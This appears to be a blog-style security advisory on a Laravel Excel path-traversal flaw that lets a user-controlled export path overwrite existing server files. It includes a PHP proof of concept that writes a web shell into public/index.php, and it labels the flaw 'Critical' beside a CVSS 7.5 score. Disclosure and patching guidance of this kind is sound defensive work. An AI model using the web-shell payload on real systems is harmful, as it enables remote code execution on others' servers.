Listen to this Post
Excel::store() resolved the destination path against the process working directory rather than the configured filesystem disk. When that path resolved to an existing file, the export was written straight to it with fopen(), bypassing the disk entirely. An application that passes a user-controlled value as the export path could therefore be made to overwrite an arbitrary existing file that the PHP process can write to, with content the user controls.
The root cause resides in Maatwebsite\Excel\Files\Disk::copy(), which contained two code paths. If realpath($destination) returned a value, the method opened $destination directly with fopen(‘rb+’) and used stream_copy_to_stream(). Otherwise, it fell back to $this->put() through the configured Flysystem disk. The $destination is the $filePath argument given to Excel::store(), $export->store() or ->storeExcel(). realpath() resolves it against the current working directory — public/ for a typical web request — not against the disk root. On a hit, the write went directly to the filesystem and never reached Flysystem, which would otherwise have rejected ../ traversal and confined absolute paths to the disk root. The disk argument was effectively ignored for those paths, including for remote disks such as S3.
Two consequences follow:
- the destination could be any existing file the PHP process can write, in or out of the disk root;
- the stream was opened ‘rb+’, which does not truncate, so a shorter export left trailing bytes of the previous file behind.
Because the file must already exist, the primitive is an overwrite rather than an arbitrary file creation. Overwriting a PHP file that is reachable by the web server (for example a front controller or a cached view) turns attacker-controlled row content into code execution, since CSV and HTML writers emit cell values verbatim. Passing an explicit writer type to store() bypasses the extension-based type detection that would otherwise reject a .php target. Exploitation requires the application to pass an unsanitized, user-controlled value as the export path. Applications that pass a fixed or server-derived path are not affected.
DailyCVE Form:
Platform: ……. Laravel Excel
Version: …….. 3.1.8 – 3.1.69
Vulnerability :…… Path Traversal / Overwrite
Severity: ……. Critical (CVSS 7.5)
date: ………. 2026-09-01
Prediction: ……. Already Patched (3.1.70)
What Undercode Say:
Check if your application passes user input to Excel::store():
grep -rn "Excel::store" --include=".php" | grep -v ".env"
grep -rn "->store(" --include=".php" | grep -v ".env"
grep -rn "->storeExcel(" --include=".php" | grep -v ".env"
Verify the current version:
composer show maatwebsite/excel
Exploit: (Educational Purposes!)
PoC exploiting the overwrite primitive via a CSV export:
<?php // Attacker-controlled path targeting a web-accessible PHP file $maliciousPath = '../../../public/index.php'; // Attacker-controlled CSV content with PHP payload $export = new Collection([ ['<?php system($_GET["cmd"]); ?>', '', ''] ]); Excel::store($export, $maliciousPath, 'local', \Maatwebsite\Excel\Excel::CSV); ?>
Protection:
Upgrade to version 3.1.70 immediately:
composer update maatwebsite/excel
If unable to upgrade, validate the path before passing it to store() — reject absolute paths and any .. segment:
$name = basename($request->input('filename')); // strips any directory part
Excel::store($export, 'exports/' . $name, 'local');
Impact:
Arbitrary overwrite of existing files writable by the PHP process, with partially attacker-controlled content, leading to remote code execution where the overwritten file is executed by the web server.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
